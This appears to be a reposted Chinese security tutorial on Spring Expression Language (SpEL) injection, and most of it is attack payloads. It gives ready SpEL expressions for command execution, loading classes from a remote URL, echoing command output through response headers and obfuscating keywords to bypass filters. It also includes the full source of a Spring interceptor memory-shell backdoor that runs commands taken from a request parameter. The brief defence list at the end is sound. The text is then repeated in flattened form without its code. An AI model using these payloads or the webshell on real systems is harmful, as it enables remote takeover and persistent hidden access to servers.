[Java安全]Spring SPEL注入总结&&回显技术
字数 1252 2025-08-06 08:35:11

Spring SPEL注入与回显技术详解

一、SPEL表达式基础

1. 定界符

  • #{}:SPEL特有的定界符,中间内容会被解析为表达式
  • ${}:单纯的占位符,可能引起SQL注入等安全问题

2. 类型表达式T()

  • T()中的内容会被解析为一个类
  • 示例:T(java.lang.String)解析为String类
  • 可用于获取类对象,如T(java.lang.Runtime)

3. SPEL表达式运算符

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches

4. 变量定义和引用

  • 定义变量:EvaluationContext.setVariable(variableName, value)
  • 引用变量:#variableName
  • 特殊引用:
    • #this:当前正在计算的上下文
    • #root:引用容器的root对象
    • @something:引用Bean

二、RCE技术实现

1. 直接RCE方法

(1) ProcessBuilder方式

new java.lang.ProcessBuilder(new String[]{"calc"}).start()

(2) Runtime方式

T(java.lang.Runtime).getRuntime().exec('calc')

(3) ScriptEngine方式

// 方式一
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")

// 方式二
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")

2. 远程类加载RCE

(1) URLClassLoader方式

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass("evil").newInstance()

(2) AppClassLoader方式

T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')

(3) 获取ClassLoader的其他方法

// 通过Spring类获取
T(org.springframework.expression.Expression).getClass().getClassLoader()

// Thymeleaf环境下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

// Web服务下通过内置对象
{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}

(4) BCEL字节码方式

T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})}

三、回显技术

1. 半回显方式

(1) BufferedReader方式

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

(2) Scanner方式

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()

2. 通用回显方式

ResponseHeader方式

需要将response对象注册到上下文:

StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("response", response);

Payload示例:

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

四、内存马注入

1. 基本Payload模板

T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()

简化版:

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

2. 关键组件说明

  • defineClass:使用Spring的ReflectUtils工具类加载Base64编码的类
  • ClassLoader:使用当前线程上下文的ClassLoader
  • MLet:URLClassLoader的实现类,可用于加载远程或本地类

3. 示例Interceptor内存马代码

public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
    static {
        // 获取Web应用上下文
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 通过反射添加拦截器
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        List<HandlerInterceptor> adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
        adaptInterceptors.add(new InceptorMemShell());
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            // 执行命令并回显
            ProcessBuilder builder;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                builder = new ProcessBuilder("cmd.exe", "/c", cmd);
            } else {
                builder = new ProcessBuilder("/bin/bash", "-c", cmd);
            }
            String output = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema").next();
            response.getWriter().println(output);
            return false;
        }
        return true;
    }
    // 其他必要方法实现...
}

五、关键字绕过技术

1. 字符串替换方式

T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)

2. Character.toString方式

T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)

3. 使用request对象

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)

4. 反射+字符串拼接

T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})

5. 使用getSuperClass

''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')

六、防御建议

  1. 避免直接解析用户输入的SPEL表达式
  2. 使用SimpleEvaluationContext代替StandardEvaluationContext限制表达式功能
  3. 对用户输入进行严格过滤和校验
  4. 禁用危险的SPEL功能
  5. 及时更新Spring框架版本,修复已知漏洞
Spring SPEL注入与回显技术详解 一、SPEL表达式基础 1. 定界符 #{} :SPEL特有的定界符,中间内容会被解析为表达式 ${} :单纯的占位符,可能引起SQL注入等安全问题 2. 类型表达式T() T() 中的内容会被解析为一个类 示例: T(java.lang.String) 解析为String类 可用于获取类对象,如 T(java.lang.Runtime) 3. SPEL表达式运算符 | 运算符类型 | 运算符 | |------------|--------| | 算数运算 | +, -, * , /, %, ^ | | 关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge | | 逻辑运算 | and, or, not, ! | | 条件运算 | ?:(ternary), ?:(Elvis) | | 正则表达式 | matches | 4. 变量定义和引用 定义变量: EvaluationContext.setVariable(variableName, value) 引用变量: #variableName 特殊引用: #this :当前正在计算的上下文 #root :引用容器的root对象 @something :引用Bean 二、RCE技术实现 1. 直接RCE方法 (1) ProcessBuilder方式 (2) Runtime方式 (3) ScriptEngine方式 2. 远程类加载RCE (1) URLClassLoader方式 (2) AppClassLoader方式 (3) 获取ClassLoader的其他方法 (4) BCEL字节码方式 三、回显技术 1. 半回显方式 (1) BufferedReader方式 (2) Scanner方式 2. 通用回显方式 ResponseHeader方式 需要将response对象注册到上下文: Payload示例: 四、内存马注入 1. 基本Payload模板 简化版: 2. 关键组件说明 defineClass :使用Spring的ReflectUtils工具类加载Base64编码的类 ClassLoader :使用当前线程上下文的ClassLoader MLet :URLClassLoader的实现类,可用于加载远程或本地类 3. 示例Interceptor内存马代码 五、关键字绕过技术 1. 字符串替换方式 2. Character.toString方式 3. 使用request对象 4. 反射+字符串拼接 5. 使用getSuperClass 六、防御建议 避免直接解析用户输入的SPEL表达式 使用 SimpleEvaluationContext 代替 StandardEvaluationContext 限制表达式功能 对用户输入进行严格过滤和校验 禁用危险的SPEL功能 及时更新Spring框架版本,修复已知漏洞